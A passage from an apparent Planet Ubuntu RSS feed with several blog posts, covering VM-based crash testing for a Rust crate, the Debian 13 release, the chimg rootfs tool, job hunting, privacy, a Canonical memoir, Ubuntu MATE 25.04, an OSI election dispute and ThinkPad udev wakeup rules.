<div class="highlight"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="o">[[</span><span class="w"> </span><span class="k">$(</span>sed<span class="w"> </span>-n<span class="w"> </span><span class="s1">&#39;/-----/, /-----/p&#39;</span><span class="w"> </span><span class="s2">&quot;</span><span class="nv">$output</span><span class="s2">&quot;</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>xxd<span class="w"> </span>-r<span class="k">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>hello<span class="w"> </span><span class="o">]]</span><span class="p">;</span><span class="w"> </span><span class="k">then</span>
<span class="w">  </span><span class="nb">echo</span><span class="w"> </span><span class="s2">&quot;Success&quot;</span>
<span class="k">else</span>
<span class="w">  </span><span class="nb">echo</span><span class="w"> </span><span class="s2">&quot;Failure&quot;</span>
<span class="w">  </span><span class="nb">exit</span><span class="w"> </span><span class="m">1</span>
<span class="k">fi</span>
</code></pre></div>

<p>And that’s it!</p>
<h1 id="running-in-github-actions">Running in GitHub Actions</h1>
<p>The next step for me was to set up some automation to make sure that my test
script was run whenever I made any change to the crate. Because my project was
already hosted on GitHub, I decided to go with GitHub Actions. I was a bit
worried that I would have had to struggle to make it work because my script
works by <em>stealing</em> the kernel from the host, and I thought that the GitHub
runners could have some protections in place to prevent me from reading the
kernel. To my surprise, there were no such restrictions. In fact, I did not
have to modify a single line of code to make my tests work in GitHub Actions:
check out the <a href="https://github.com/andreacorbellini/rust-atomic-write-file/blob/master/.github/workflows/crash-tests.yml">workflow file</a> if you’re curious.</p>
<h1 id="result">Result</h1>
<p>In the end, the test suite was able to reproduce the issue with btrfs and
anonymous temporary files, as well as show that the fix was working as
intended. This is what it looks like (output in the screenshot was trimmed down
a bit):</p>
<figure>
  <img src="https://andrea.corbellini.name/images/crash-tests-failure.png" alt="Output showing a failure from the test suite">
  <figcaption>Output from the <code>run-test.sh</code> script <em>before</em> applying the fix, showing a failure.</figcaption>
</figure>

<figure>
  <img src="https://andrea.corbellini.name/images/crash-tests-success.png" alt="Output showing a success from the test suite">
  <figcaption>Output from the <code>run-test.sh</code> script <em>after</em> applying the fix, showing a success.</figcaption>
</figure>

<h1 id="future">Future</h1>
<p>I’m pretty satisfied with the general approach of running in a virtual machine
and simulating a crash, but the implementation has a huge limitation: because
it <em>steals</em> the kernel from the host, it cannot simulate crashes on other
kernels, operating systems, or platforms.</p>
<p>I think in the future I’m going to take a look at <a href="https://github.com/cross-rs/cross">cross-rs</a>, a cross-platform
tool for Rust crates. Cross-rs works kinda in a similar way as my test suite,
in that it uses QEMU emulation to run tests. Maybe I can reuse their QEMU
images and tweak them to run my crash tests. If that is feasible, then I will
be able to extend my test suite to all major platforms and operating systems.</p>]]></description>
      <source url="http://andrea.corbellini.name/ubuntu.rss">Andrea Corbellini</source>
    </item>
    <item>
      <title>Debian 13</title>
      <link>https://jonathancarter.org/2025/08/10/debian-13/</link>
      <guid isPermaLink="true">https://jonathancarter.org/2025/08/10/debian-13/</guid>
      <pubDate>Sun, 10 Aug 2025 14:53:36 GMT</pubDate>
      <description><![CDATA[<p class="wp-block-paragraph">Debian 13 has finally <a href="https://bits.debian.org/2025/08/trixie-released.html">been released</a>!</p>



<p class="wp-block-paragraph">One of the biggest and under-hyped features is support for HTTP Boot. This allows you to simply specify a URL (to any d-i or live image iso) in your computer&#8217;s firmware setup and then you can boot to it directly over the Internet, so no need to download an image, write it to flash disk and then boot from the flash disk on computers made in the last ~5 years. This is also supported on the Tianocore free EFI firmware, which is useful if you&#8217;d like to try it out on QEMU/KVM.</p>



<p class="wp-block-paragraph">More details about Debian 13 available on the <a href="https://www.debian.org/News/2025/20250809">official press release</a>.</p>



<p class="wp-block-paragraph">The default theme for Debian 13 is <a href="https://wiki.debian.org/DebianArt/Themes/Ceratopsian">Ceratopsian</a>, designed by Elise Couper. I&#8217;ll be honest, I wasn&#8217;t 100% sure it was the best choice when it won the artwork vote, but it really grew on me over the last few months, and it looked <em>great</em> in combination with all kinds of other things during DebConf too, so it has certainly won me over.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full is-resized"><img fetchpriority="high" decoding="async" width="800" height="500" src="https://jonathancarter.org/files/images/wllpaper.jpeg" alt="" class="wp-image-11957" style="width:798px;height:auto" srcset="https://jonathancarter.org/files/images/wllpaper.jpeg 800w, https://jonathancarter.org/files/images/wllpaper-555x347.jpeg 555w, https://jonathancarter.org/files/images/wllpaper-768x480.jpeg 768w" sizes="(max-width: 800px) 100vw, 800px" /></figure>
</div>


<p class="wp-block-paragraph">And I particularly like the Plymouth theme. It&#8217;s very minimal, and it reminds me of the Toy Story Trixie character, it&#8217;s almost like it helps explain the theme:</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img decoding="async" width="1024" height="644" src="https://jonathancarter.org/files/images/certop-1024x644.jpeg" alt="" class="wp-image-11961" style="width:1024px;height:auto" srcset="https://jonathancarter.org/files/images/certop-1024x644.jpeg 1024w, https://jonathancarter.org/files/images/certop-555x349.jpeg 555w, https://jonathancarter.org/files/images/certop-768x483.jpeg 768w, https://jonathancarter.org/files/images/certop.jpeg 1426w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
</div>


<p class="has-text-align-center wp-block-paragraph"><em>Plymouth (start-up/shutdown) theme.</em></p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="600" height="631" src="https://jonathancarter.org/files/images/trixie.jpeg" alt="" class="wp-image-11963" srcset="https://jonathancarter.org/files/images/trixie.jpeg 600w, https://jonathancarter.org/files/images/trixie-528x555.jpeg 528w" sizes="(max-width: 600px) 100vw, 600px" /></figure>
</div>


<p class="has-text-align-center wp-block-paragraph"><a href="https://disney.fandom.com/wiki/Trixie">Trixie, the character from Toy Story</a> that was chosen as the codename for Debian 13.</p>



<h2 class="wp-block-heading">Debian Local Team ISO testing</h2>



<p class="wp-block-paragraph">Yesterday we got some locals together for ISO testing and we got a cake with the wallpaper printed on it, along with our local team logo which has been a work in progress for the last 3 years, so hopefully we&#8217;ll finalise it this year!  (it will be ready when it&#8217;s ready). It came out a lot bluer than the original wallpaper, but still tasted great.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="1024" height="771" src="https://jonathancarter.org/files/images/cake-13-1024x771.jpg" alt="" class="wp-image-11949" style="object-fit:cover" srcset="https://jonathancarter.org/files/images/cake-13-1024x771.jpg 1024w, https://jonathancarter.org/files/images/cake-13-555x418.jpg 555w, https://jonathancarter.org/files/images/cake-13-768x578.jpg 768w, https://jonathancarter.org/files/images/cake-13.jpg 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
</div>


<p class="wp-block-paragraph">For many releases, I&#8217;ve been the only person from South Africa doing ISO smoke-testing, and this time was quite different, since everyone else in the photo below tested an image except for me. I basically just provided some support and helped out with getting salsa/wiki accounts and some troubleshooting. It went nice and fast, and it&#8217;s always a big relief when there are no showstoppers for the release.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="1024" height="590" src="https://jonathancarter.org/files/images/trixiecake2-1024x590.jpg" alt="" class="wp-image-11951" srcset="https://jonathancarter.org/files/images/trixiecake2-1024x590.jpg 1024w, https://jonathancarter.org/files/images/trixiecake2-555x320.jpg 555w, https://jonathancarter.org/files/images/trixiecake2-768x443.jpg 768w, https://jonathancarter.org/files/images/trixiecake2.jpg 1136w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>
</div>


<p class="has-text-align-center wp-block-paragraph"><em>My dog was really wishing hard that the cake would slip off.</em></p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="600" height="221" src="https://jonathancarter.org/files/images/cambalache.jpg" alt="" class="wp-image-11970" srcset="https://jonathancarter.org/files/images/cambalache.jpg 600w, https://jonathancarter.org/files/images/cambalache-555x204.jpg 555w" sizes="(max-width: 600px) 100vw, 600px" /></figure>
</div>


<p class="wp-block-paragraph">Packaging-wise, I only have one big new package for Trixie, and that&#8217;s <a href="https://github.com/xjuan/cambalache/tree/main">Cambalache</a>, a rapid application design UI builder for GTK3/GTK4.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full is-resized"><img decoding="async" width="752" height="423" src="https://jonathancarter.org/files/images/image-29.png" alt="" class="wp-image-11972" style="width:616px;height:auto" srcset="https://jonathancarter.org/files/images/image-29.png 752w, https://jonathancarter.org/files/images/image-29-555x312.png 555w" sizes="(max-width: 752px) 100vw, 752px" /></figure>
</div>


<p class="wp-block-paragraph">The version in trixie is 0.94.1-3 and version 1.0 was recently released, so I&#8217;ll get that updated in forky and backport it if possible.</p>



<p class="wp-block-paragraph">I was originally considering using Cambalache for an installer UI, but ended up going with a web front-end instead. But that&#8217;s moving firmly towards forky territory, so more on that another time!</p>



<p class="wp-block-paragraph">Thanks to everyone who was involved in this release, so far upgrades have been very smooth!</p>
<img decoding="async" src="https://analytics.jonathancarter.org/piwik.php?idsite=1&amp;rec=1&amp;url=https%3A%2F%2Fjonathancarter.org%2F2025%2F08%2F10%2Fdebian-13%2F&amp;action_name=Debian%2013&amp;urlref=https%3A%2F%2Fjonathancarter.org%2Ffeed%2F" style="border:0;width:0;height:0" width="0" height="0" alt="" />]]></description>
      <source url="https://jonathancarter.org/feed">Jonathan Carter</source>
    </item>
    <item>
      <title>Streamline Root Filesystem Modifications with chimg</title>
      <link>https://toabctl.wordpress.com/2025/07/31/streamline-root-filesystem-modifications-with-chimg/</link>
      <guid isPermaLink="true">https://toabctl.wordpress.com/2025/07/31/streamline-root-filesystem-modifications-with-chimg/</guid>
      <pubDate>Thu, 31 Jul 2025 18:15:36 GMT</pubDate>
      <description><![CDATA[<p class="wp-block-paragraph">During the last year I developed as a side project a new tool called <a href="https://github.com/canonical/chimg/">chimg</a> . That tool is useful to modify a given rootfs chroot directory in a declarative way. It can replace a kernel within a chroot, preseed snaps, install debian packages, add PPAs and more (documentation is in git but not yet published).</p>



<p class="wp-block-paragraph">The nice thing about this is, that this tool can be integrated into <a href="https://launchpad.net/livecd-rootfs">livecd-rootfs</a> (the tool that is usually used to build Ubuntu images) or future tools which might use the craft framework to build images. <code>chimg</code> automatically detects already bind-mounted filesystems (eg. <code>/sys</code>, <code>/proc</code>, &#8230;), detects already preseeded snaps and usually does that same thing that <code>livecd-rootfs</code> currently does when eg. replacing an already installed kernel.</p>



<p class="wp-block-paragraph">Install <code>chimg</code> with:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: plain; title: ; notranslate">
sudo snap install chimg --classic
</pre></div>


<p class="wp-block-paragraph">An example configuration (eg. <code>config.yaml</code>) to modify a rootfs chroot directory looks like this:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: yaml; title: ; notranslate">
---
kernel: linux-aws
debs:
  - name: shim-signed
  - name: grub-pc
  - name: grub2-common
  - name: ubuntu-cloud-minimal
snap:
  assertion_brand: canonical
  assertion_model: aws-classic
  snaps:
    - name: hello
      channel: latest/stable
files:
  -
    destination: /etc/default/grub.d/70-mysettings.cfg
    content: |+
      GRUB_TIMEOUT=0

cmds_post:
  -
    cmd: |
      echo "Everything done"
</pre></div>


<p class="wp-block-paragraph">This config (stored in <code>config.yaml</code> in this example) can be applied to a newly created (or existing) root filesystem directory. Let&#8217;s create one in <code>/tmp/chimg-noble</code>:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: bash; title: ; notranslate">
sudo mmdebstrap --variant=apt --verbose noble /tmp/chimg-noble
</pre></div>


<p class="wp-block-paragraph">Let&#8217;s apply the config changes now:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: bash; title: ; notranslate">
sudo chimg --log-console chrootfs config.yaml /tmp/chimg-noble
</pre></div>


<p class="wp-block-paragraph">That&#8217;s it. The modifications are now applied to the <code>/tmp/chimg-noble</code> directory.</p>



<p class="wp-block-paragraph"></p>]]></description>
      <source url="https://toabctl.wordpress.com/category/planet-ubuntu/feed/?mrss=off">Thomas Bechtold</source>
    </item>
    <item>
      <title>2025: Finding a job, and the understanding the market</title>
      <link>https://joseeantonior.wordpress.com/2025/06/25/2025-finding-a-job-and-the-understanding-the-market/</link>
      <guid isPermaLink="true">https://joseeantonior.wordpress.com/2025/06/25/2025-finding-a-job-and-the-understanding-the-market/</guid>
      <pubDate>Wed, 25 Jun 2025 21:39:35 GMT</pubDate>
      <description><![CDATA[<p class="wp-block-paragraph">So, I&#8217;ve been in the job market for a bit over a year. I was part of a layoff cycle in my last company, and finding a new gig has been difficult. I haven&#8217;t been able to find something as of yet, but it&#8217;s been a learning curve. The market is not what it has been in the last couple of years. With AI in the mix, lots of roles have been eliminated, or have shifted towards where human intervention is needed to interpret or verify the data AI is interpreting. Job hunting is a job in an of itself, and may even take a 9 to 5 role. I know of a lot of people who have gone through the same process as myself, and wanted to share some of insights and tips from what I&#8217;ve learned throughout the last year.</p>



<h2 class="wp-block-heading">Leveraging your network</h2>



<p class="wp-block-paragraph">First, and I think most important, is to understand that there&#8217;s a lot of great people around that you might have worked with. You can always ask for recommendations, touch base, or even have a small chat to see how things are going on their end. Conversations can be very refreshing, and can help you get a new perspective as how the industries are shifting, where you might want to learn new skills, or how to improve your positioning in the market. Folks can talk around and see if there&#8217;s additional positions where you might be a good fit, and it&#8217;s always good to have a helping hand (or a few). At the end of the day, these folks are your own community. I&#8217;ve gotten roles in the past by being referred, and these connections have been critical for my understanding of how different businesses may approach the same problem, or even to solve internal conflicts. So, reach out to people you know!</p>



<h2 class="wp-block-heading">Understanding the market</h2>



<p class="wp-block-paragraph">Like I mentioned in the opening paragraph, the market is evolving constantly. AI has taken a very solid role nowadays, and lots of companies ask about how you&#8217;ve used AI recently. Part of understanding the market is understanding the bleeding edge tools that are used to improve workflows and day-to-day efficiency. Research tools that are coming up, and that are shaping the market. </p>



<p class="wp-block-paragraph">To give you an example. Haven&#8217;t tried AI yet? Give it a spin, even for simple questions. Understand where it works, where it fails, and how you, as a human, can make it work for you. Get a sense of the pitfalls, and where human intervention is needed to interpret or verify the data that&#8217;s in there. Like one of my former managers said, &#8220;trust, but verify&#8221;. Or, you can even get to the point of not trusting the data, and sharing that as a story!</p>



<h2 class="wp-block-heading">Apply thoughtfully</h2>



<p class="wp-block-paragraph">Someone gave me the recommendation to apply to everything that I see where I &#8220;could be a fit&#8221;. While this might have its upsides, you might also end up in situations where you are not actually a fit, or where you don&#8217;t know the company and what it does. Always take the time, at least a few minutes, to understand the company that you&#8217;re applying for, research their values, and how they align to yours. Read about the product they&#8217;re creating, selling, or offering, and see if it&#8217;s a product where you could contribute your skills. Then, you can make the decision of applying. While doing this you may discover that you are applying to a position in a sector that you&#8217;re not interested in, or where your skillset might not be used to its full potential. And you might be missing out on some other opportunities that are significantly more aligned to you.</p>



<p class="wp-block-paragraph">Also take the time to fully review the job description. JDs are pretty descriptive, and you might stumble upon certain details that don&#8217;t align with yourself, such as the salary, hours, location, or certain expectations that you might feel don&#8217;t fit within the role or that you are not ready for.</p>



<h2 class="wp-block-heading">Prepare for your interviews</h2>



<p class="wp-block-paragraph">You landed an interview &#8211; congratulations! Make sure that you&#8217;ve researched the company before heading in. If you&#8217;ve taken a look at the company and the role before applying, take a glimpse again. You might find more interesting things, and it will demonstrate that you are actually preparing yourself for the interview. Also, interviewing is a two-way street. Make sure that you have some questions at the end. Double-check the role of your interviewer in the company, and ensure that you have questions that are tailored to their particular roles. Think about what you want to get from the interview (other than the job!).</p>



<h2 class="wp-block-heading">Job sourcing</h2>



<p class="wp-block-paragraph">There are many great job sources today &#8211; LinkedIn being the biggest of all of them. Throughout my searches I&#8217;ve also found weworkremotely.com and hnhiring.com are great sources. I strongly advise that you expand your search and find sources that are relevant to your particular role or industry. This has opened up a lot of opportunities for me!</p>



<h2 class="wp-block-heading">Take some time for yourself</h2>



<p class="wp-block-paragraph">I know that having a job is important. However, it&#8217;s also important to take time for yourself. Your mental health is important. You can use this time to develop some skills, play some games, take care of your garden, or even reorganize your home. Find a hobby and distract yourself every now and then. Take breaks, and ensure you&#8217;re not over-stressing yourself. Read a bit about burnout, and take care of yourself, as burnout can also happen from job hunting. And if you need a breather, make sure you take one, but don&#8217;t overdo it! Time is valuable, so it&#8217;s all about finding the right balance.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Hopefully this is helpful for some folks that are going through my same situation. What other things have worked for you? Do you have any other tips you could share? I&#8217;d be happy to read about them! Share them with me on <a href="https://linkedin.com/in/joseantonio-rey">LinkedIn</a>. I&#8217;m also happy to chat &#8211; you can always find me at jose@ubuntu.com.</p>]]></description>
      <source url="https://joseeantonior.wordpress.com/category/planet-ubuntu/feed/atom">José Antonio Rey</source>
    </item>
    <item>
      <title>Attitudes on privacy and tracking</title>
      <link>https://s3hh.wordpress.com/2025/05/25/attitudes-on-privacy-and-tracking/</link>
      <guid isPermaLink="true">https://s3hh.wordpress.com/2025/05/25/attitudes-on-privacy-and-tracking/</guid>
      <pubDate>Sun, 25 May 2025 13:00:15 GMT</pubDate>
      <description><![CDATA[<p>It&#8217;s amazing how quickly public opinion changes. Or, how quickly<br />
people cave. Remember just 10 years ago, how people felt about<br />
google glass?</p>
<ul>
<li><a href="https://www.businessinsider.com/i-was-assaulted-for-wearing-google-glass-2014-4" rel="nofollow">https://www.businessinsider.com/i-was-assaulted-for-wearing-google-glass-2014-4</a></li>
<li><a href="https://www.youtube.com/watch?v=m8coAuWZL20" rel="nofollow">https://www.youtube.com/watch?v=m8coAuWZL20</a></li>
</ul>
<p>Or how they felt when they found out target was analyzing their<br />
purchases and perhaps knew them better than themselves or their<br />
family?</p>
<ul>
<li><a href="https://techland.time.com/2012/02/17/how-target-knew-a-high-school-girl-was-pregnant-before-her-parents/" rel="nofollow">https://techland.time.com/2012/02/17/how-target-knew-a-high-school-girl-was-pregnant-before-her-parents/</a></li>
<li><a href="https://www.forbes.com/sites/kashmirhill/2012/02/16/how-target-figured-out-a-teen-girl-was-pregnant-before-her-father-did/" rel="nofollow">https://www.forbes.com/sites/kashmirhill/2012/02/16/how-target-figured-out-a-teen-girl-was-pregnant-before-her-father-did/</a></li>
</ul>
<p>People used to worry about being tracked by companies and government.<br />
Today, they feel insecure unless they are certain they are being<br />
tracked. For their own well-being of course. If an online store does<br />
*not* send an email 10 hours after you&#8217;ve &#8220;left items in your cart,<br />
don&#8217;t miss out!&#8221;, and another the next day, you feel disappointed. I<br />
believe they&#8217;re now seen as sub-par.</p>]]></description>
      <source url="https://s3hh.wordpress.com/feed/?mrss=off">Serge Hallyn</source>
    </item>
    <item>
      <title>Rooming with Mark</title>
      <link>https://ograblog.wordpress.com/2025/05/16/rooming-with-mark/</link>
      <guid isPermaLink="true">https://ograblog.wordpress.com/2025/05/16/rooming-with-mark/</guid>
      <pubDate>Fri, 16 May 2025 11:17:23 GMT</pubDate>
      <description><![CDATA[<p class="has-black-color has-text-color has-link-color wp-elements-46088db9ef993c5ecc5629835e2d0dbd">Yesterday, exactly twenty years ago my mobile rang while I was walking the dog. <br><br>I had just returned from Sydney about a week ago (still battling with the last remains of my Jet-lag (I had never left Europe before!)) where I had attended the UbuntuDownUnder summit and had a 30min interview on the last day (that was literally rather like having a coffee with friends after lunch) with Mark Shuttleworth and Matt Zimmerman (back then Canonicals CTO) on a nice hotel terrace directly under a tree with a colony of flying foxes sleeping above our heads.<br><br>There was Jane Silber (CEO) on the phone, telling me: &#8220;I&#8217;m so happy to tell you you are hired! In your new role we want you to create an educational flavor of Ubuntu, there will be a debian-edu/skolelinux gathering in Bergen in Norway from the 10th to 12th of June, are you okay flying there with Mark?&#8221;<br><br>I rushed back home and told my girlfriend: &#8220;I&#8217;m hired, and I&#8217;ll fly Canonical One on my first business trip next month!&#8221; (Canonical One was the name of Marks plane). I learned the next weeks that Canonical had indeed booked a generic scheduled flight for me and we&#8217;d only meet at the venue <img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /><br><br>The flight was a disaster, after we were boarding that small 20-seater 2 prop plane that was supposed to get us from Cologne to Amsterdam and the pilot started the engine my window all of a sudden was soaked in oil. We had to stay in the plane out on the filed while the mechanics were fixing the engine for like 2-3h so indeed I missed the connection in Amsterdam and had to stay for the night instead of arriving in Bergen the evening before the event started.<br><br>When I arrived at the venue everyone was already busy hacking on stuff and I jumped right in alongside, finally meeting some users of LTSP (Linux Terminal Server Project) which I was upstream for at that time and working with them on the problems they faced in debian with it, tinkering with moodle as a teaching support system and looking at other edu software, meanwhile Mark was sitting on a bar-stool in a corner with his laptop hacking on launchpad code.<br><br>When we went to our hotel in the evening it turned out they did not have our booking at all and were completely overbooked due to a jewelry exhibition they had in the house for that week. I talked like 15min to the lady behind the counter, showed her my booking confirmation PDF on the laptop, begged and flirted a lot and eventually she told us &#8220;We do have an exhibition room that we keep as spare, it only has one bed but you can have it and we will add a folding bed&#8221;. The room was actually a normal hotel room but completely set up with wallpaper tables all around the walls. <br><br>Mark insisted to take the folding bed and I can tell you, he does not snore &#8230; (well, he didn&#8217;t back then)<br><br>This was only the first of a plethora of adventures that followed in the upcoming 20 years, that phone call clearly changed my life and the company gave me the opportunity to work with the brightest, sharpest and most intelligent people on the planet in and outside of Canonical.<br><br>It surely changed a lot over these years (when I started we were building the distro with 18 people in the distro team and did that for quite a few years before it actually got split into server, foundations, kernel and desktop teams) but it never lost its special spirit of having these exceptional people with such a high focus on bringing opensource to everyone and making it accessible to everyone. <br>Indeed, with growth comes the requirement to make more money to pay the people, the responsibility to give your employees a certain amount of security and persistence grows, but Canonical and especially Mark have always managed to keep the balance to not lose that focus and do the right thing in the end.<br><br>Ten years ago I said &#8220;onward to the next ten!!&#8221;, I won&#8217;t really say &#8220;onward to the next 20!&#8221; today, not because I ever plan to resign but simply because I doubt I still want to work full time when I&#8217;m 75 <img src="https://s0.wp.com/wp-content/mu-plugins/wpcom-smileys/twemoji/2/72x72/1f609.png" alt="😉" class="wp-smiley" style="height: 1em; max-height: 1em;" /><br><br>Thank you Mark for dragging me into this adventure and thank you for still having me! I still love the ride!!</p>



<p></p>



<p></p>



<p></p>]]></description>
      <source url="https://ograblog.wordpress.com/feed/atom">Oliver Grawert</source>
    </item>
    <item>
      <title>Ubuntu MATE 25.04 Release Notes</title>
      <link>https://ubuntu-mate.org/blog/ubuntu-mate-plucky-puffin-release-notes/</link>
      <guid isPermaLink="true">https://ubuntu-mate.org/blog/ubuntu-mate-plucky-puffin-release-notes/</guid>
      <pubDate>Tue, 15 Apr 2025 00:00:00 GMT</pubDate>
      <description><![CDATA[<p>Ubuntu MATE 25.04 is ready to soar! 🪽 Celebrating our 10th anniversary as an official Ubuntu flavour with the reliable MATE Desktop experience you love, built on the latest Ubuntu foundations. Read on to learn more 👓️</p>

<h2 id="a-decade-of-mate">A Decade of MATE</h2>

<p>This release marks the 10th anniversary of Ubuntu MATE becoming an official Ubuntu flavour. From our humble beginnings, we’ve developed a loyal following of users who value a traditional desktop experience with modern capabilities. Thanks to our amazing community, contributors, and users who have been with us throughout this journey. Here’s to many more years of Ubuntu MATE! 🥂</p>

<h2 id="what-changed-in-ubuntu-mate-2504">What changed in Ubuntu MATE 25.04?</h2>

<p>Here are the highlights of what’s new in the Plucky Puffin release:</p>

<ul>
  <li>Celebrating 10 years as an official Ubuntu flavour! 🎂</li>
  <li>Optional full disk encryption in the installer 🔐
    <ul>
      <li>Enhanced advanced partitioning options</li>
      <li>Better interaction with existing BitLocker-enabled Windows installations</li>
      <li>Improved experience when installing alongside other operating systems</li>
    </ul>
  </li>
</ul>

<h2 id="major-applications">Major Applications</h2>

<p>Accompanying <strong>MATE Desktop</strong> 🧉 and <strong>Linux 6.14</strong> 🐧 are <strong>Firefox 137</strong> 🔥🦊,
<strong>Evolution 3.56</strong> 📧, <strong>LibreOffice 25.2.2</strong> 📚</p>

<p>See the <a href="https://discourse.ubuntu.com/t/plucky-puffin-release-notes/48687">Ubuntu 25.04 Release Notes</a> 
for details of all the changes and improvements that Ubuntu MATE benefits from.</p>

<div class="jumbotron">

    <h2>Download Ubuntu MATE 25.04</h2>

    <p>Available for 64-bit desktop computers!</p>


    
        <a href="/download/" class="btn">Download</a>
    

</div>

<h2 id="upgrading-to-ubuntu-mate-2504">Upgrading to Ubuntu MATE 25.04</h2>

<p>The upgrade process to Ubuntu MATE 25.04 is the same as Ubuntu.</p>

<ul>
  <li><a href="https://help.ubuntu.com/community/PluckyUpgrades">Ubuntu 25.04 Upgrade Process</a></li>
</ul>

<p>There are no offline upgrade options for Ubuntu MATE. Please ensure you have
network connectivity to one of the official mirrors or to a locally accessible
mirror and follow the instructions above.</p>]]></description>
      <source url="https://ubuntu-mate.org/rss.xml">Ubuntu MATE</source>
    </item>
    <item>
      <title>I'm running for the OSI board... maybe</title>
      <link>https://blog.luke.wf/2025/02/im-running-for-osi-board-maybe.html</link>
      <guid isPermaLink="true">https://blog.luke.wf/2025/02/im-running-for-osi-board-maybe.html</guid>
      <pubDate>Thu, 20 Feb 2025 17:31:00 GMT</pubDate>
      <description><![CDATA[<p>The Open Source Initiative has two classes of board seats: Affiliate seats, and Individual Member seats.&nbsp;</p><p>In the upcoming election, each affiliate can nominate a candidate, and each affiliate can cast a vote for the Affiliate candidates, but there's only 1 Affiliate seat available. I initially expressed interest in being nominated as an Affiliate candidate via Debian. But since <a href="https://ebb.org/bkuhn/">Bradley Kuhn</a> is also running for an Affiliate seat with a similar platform to me, especially with regards to the OSAID, I decided to run as part of an aligned "ticket" as an Individual Member to avoid contention for the 1 Affiliate seat.</p><p>Bradley and I discussed running on a similar ticket around 8/9pm Pacific, and I submitted my candidacy around 9pm PT on 17 February.&nbsp;</p><p>I was dismayed when I received the following mail from <span style="white-space: normal;">Nick Vidal:</span></p><p></p><blockquote><span face="Arial, Helvetica, sans-serif" style="background-color: white; color: #222222; font-size: small;">Dear Luke,</span><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><span face="Arial, Helvetica, sans-serif" style="background-color: white; color: #222222; font-size: small;">Thank you for your interest in the OSI Board of Directors election. Unfortunately, we are unable to accept your application as it was submitted after the official deadline of Monday Feb 17 at 11:59 pm UTC. To ensure a fair process,<b> we must adhere to the deadline for all candidates.</b></span><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><span face="Arial, Helvetica, sans-serif" style="background-color: white; color: #222222; font-size: small;">We appreciate your enthusiasm and encourage you to stay engaged with OSI’s mission. We hope you’ll consider applying in the future or contributing in other meaningful ways.</span><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><span face="Arial, Helvetica, sans-serif" style="background-color: white; color: #222222; font-size: small;">Best regards,</span><br style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;" /><span face="Arial, Helvetica, sans-serif" style="background-color: white; color: #222222; font-size: small;">OSI Election Teams</span></blockquote><p>Nowhere on the&nbsp;<a href="https://opensource.org/blog/osis-board-of-directors-in-2025-details-about-the-elections">"OSI’s board of directors in 2025: details about the elections"</a>&nbsp;page do they list a timezone for closure of nominations; they simply list Monday 17 February.&nbsp;</p><p>The OSI's contact address is in California, so it seems arbitrary and capricious to retroactively define all of these processes as being governed by UTC.</p><p>I was not able to participate in the "potential board director" info sessions accordingly, but people who attended heard that the importance of accommodating differing TZ's was discussed during the info session, and that OSI representatives mentioned they try to accommodate TZ's of everyone. This seems in sharp contrast with the above policy.&nbsp;</p><p>I urge the OSI to reconsider this policy and allow me to stand for an Individual seat in the current cycle.&nbsp;</p><p><b>Upd</b>, N.B.: to people writing about this, I use they/them pronouns</p><p></p>]]></description>
      <source url="http://blog.luke.wf/feeds/posts/default/-/ubuntu-planet/">Luke Faraone</source>
    </item>
    <item>
      <title>How to prevent TrackPoint or touchpad events from waking up ThinkPad T14 Gen 5 AMD from suspend</title>
      <link>https://nobuto-m.github.io/post/2025/how-to-prevent-trackpoint-events-from-waking-up-thinkpad-t14-gen-5-amd-from-suspend/</link>
      <guid isPermaLink="true">https://nobuto-m.github.io/post/2025/how-to-prevent-trackpoint-events-from-waking-up-thinkpad-t14-gen-5-amd-from-suspend/</guid>
      <pubDate>Thu, 09 Jan 2025 14:50:38 GMT</pubDate>
      <description><![CDATA[<h2 id="tldr">TL;DR</h2>
<p>Try the following lines in your custom udev rules, e.g.<br>
<code>/etc/udev/rules.d/99-local-disable-wakeup-events.rules</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">KERNEL</span><span class="o">==</span><span class="s2">&#34;i2c-ELAN0676:00&#34;</span>, <span class="nv">SUBSYSTEM</span><span class="o">==</span><span class="s2">&#34;i2c&#34;</span>, <span class="nv">DRIVERS</span><span class="o">==</span><span class="s2">&#34;i2c_hid_acpi&#34;</span>, ATTR<span class="o">{</span>power/wakeup<span class="o">}=</span><span class="s2">&#34;disabled&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">KERNEL</span><span class="o">==</span><span class="s2">&#34;PNP0C0E:00&#34;</span>, ATTR<span class="o">{</span>power/wakeup<span class="o">}=</span><span class="s2">&#34;disabled&#34;</span>
</span></span></code></pre></div>

<details class="toc-inpage d-print-none  " open>
  <summary class="font-weight-bold">Table of Contents</summary>
  <nav id="TableOfContents">
  <ul>
    <li><a href="#tldr">TL;DR</a></li>
    <li><a href="#the-motivation">The motivation</a></li>
